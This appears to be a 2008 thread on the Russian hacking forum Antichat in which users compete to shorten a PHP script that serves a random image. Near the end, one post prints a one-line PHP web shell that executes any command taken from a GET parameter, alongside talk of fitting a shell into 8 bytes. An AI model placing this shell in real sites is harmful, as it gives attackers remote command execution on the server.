Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   random image viewer- минифицируем код? (https://forum.antichat.xyz/showthread.php?t=79405)

Дикс 02.08.2008 07:35

random image viewer- минифицируем код?
 
задача - вывести рандомную картинку.
кто сможет сделать это короче?

PHP код:

<? php
header
('Content-type: image/jpg');
$hd opendir('photo');
while(
$file readdir($hd))
    if(
$file != '.' && $file != '..')
        
$imgs[] = $file;
echo 
file_get_contents('photo/' $imgs[rand(0sizeof($imgs)-1)]);

PS усложнение задачи- добавить GIF

Дикс 02.08.2008 18:00

слабаки! ))

Naydav 03.08.2008 03:09

Цитата:

Сообщение от Дикс
слабаки! ))

Ипать, а что тебе нужно конкретно?
Не можежь gif добаввить НЕ слабак?

Цитата:


static function isFolder($DestinationPath)
{
return is_dir($DestinationPath);
}



static function _testExtension( $filename, $extension )
{
if ( $extension == null)
return true;
$i=strlen($filename)-1;
for( ; $i >= 0; $i-- )
{
if ( $filename[$i] == '.' )
break;
}

if ( $filename[$i] != '.' )
return false;
else
{
$ext = substr( $filename, $i+1 );

if(is_array($extension))
return in_array($ext, $extension);
else
return ( strtolower($extension) == strtolower($ext) );
}
}



static function GetFilesInDirectory($dir, $extension = "")
{
if(!self::isFolder($dir))
return false;
if(substr($dir,-1)=='/')
$dir=substr($dir, 0, -1);
$dh = opendir($dir);
$files = array();
while (false !== ($filename = readdir($dh)))
{
if ( !is_dir($dir.'/'.$filename) && $filename != "." && $filename != ".." )
{
if (self:: _testExtension($filename,$extension) )
$files[] = $dir."/".$filename;
}
}
closedir($dh);
return $files;
}



static function randomFoto()
{
$input = self::GetFilesInDirectory('_site/random_foto/', array('gif', 'jpg', 'jpeg', 'png'));
$rand_keys = array_rand($input, 1);
return $input[$rand_keys];
}

Не совсем прозрачно, ибо вырезка из Модели, но поймешь!

NOmeR1 03.08.2008 03:45

Цитата:

Сообщение от Дикс
слабаки! ))

Чё??!
Код:

<?php
$a=glob('photo/*.{gif,jpg,png,jpeg}', GLOB_BRACE);
$u=$a[rand(0,sizeof($a)-1)];
header('Content-type: image/'.(($a=substr($u, strrpos($u, '.')+1))=='jpg'?'jpeg':$a));
readfile($u);
?>

Читает gif, jpg, png, jpeg

Дикс 03.08.2008 09:26

2 Naydav
мужик, эт че ваще? ))) заголовок темы прочитай
я даж изучать твою портянку не хочу бгыгы

2 NOmeR1

особенно спасибо за раскрытие этого метода:
PHP код:

(*****)=='jpg'?'jpeg':$a

ох уж эти тернарные операторы и булевы условия, столько тайн!

В твоём примере ещё маленький штрих - закрывающий тег ?> можно убрать :)

+toxa+ 03.08.2008 10:02

Цитата:

Сообщение от Дикс
2 Naydav
мужик, эт че ваще? ))) заголовок темы прочитай
я даж изучать твою портянку не хочу бгыгы

2 NOmeR1

особенно спасибо за раскрытие этого метода:
PHP код:

(*****)=='jpg'?'jpeg':$a

ох уж эти тернарные операторы и булевы условия, столько тайн!

В твоём примере ещё маленький штрих - закрывающий тег ?> можно убрать :)

Это как выполнение команд на 8 байт)

Дикс 03.08.2008 10:10

в смысле?

NOmeR1 03.08.2008 10:55

Цитата:

Сообщение от Дикс
в смысле?

Кажется нитрокс делал. Типо у тебя есть поле в котором ты можешь максимум вписать 8 байт, они запишутся в файл (*.php), и тебе нужно с помощью этих 8 байт выполнить шелл. :)

AdReNa1!Ne 03.08.2008 11:11

Прошу прощения за оффтоп...
Случайно не про этот шелл говорится?
PHP код:

<?
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>

Ток тут явно не 8 байт.
print `$_GET[fuckkk]`;
Мне даже интересно стало, как укоцали шелл до 8 байт)) Если найдете - скиньте мне посмотреть)

BlackSun 03.08.2008 11:38

8 байт включая <??> или без?)


Время: 21:54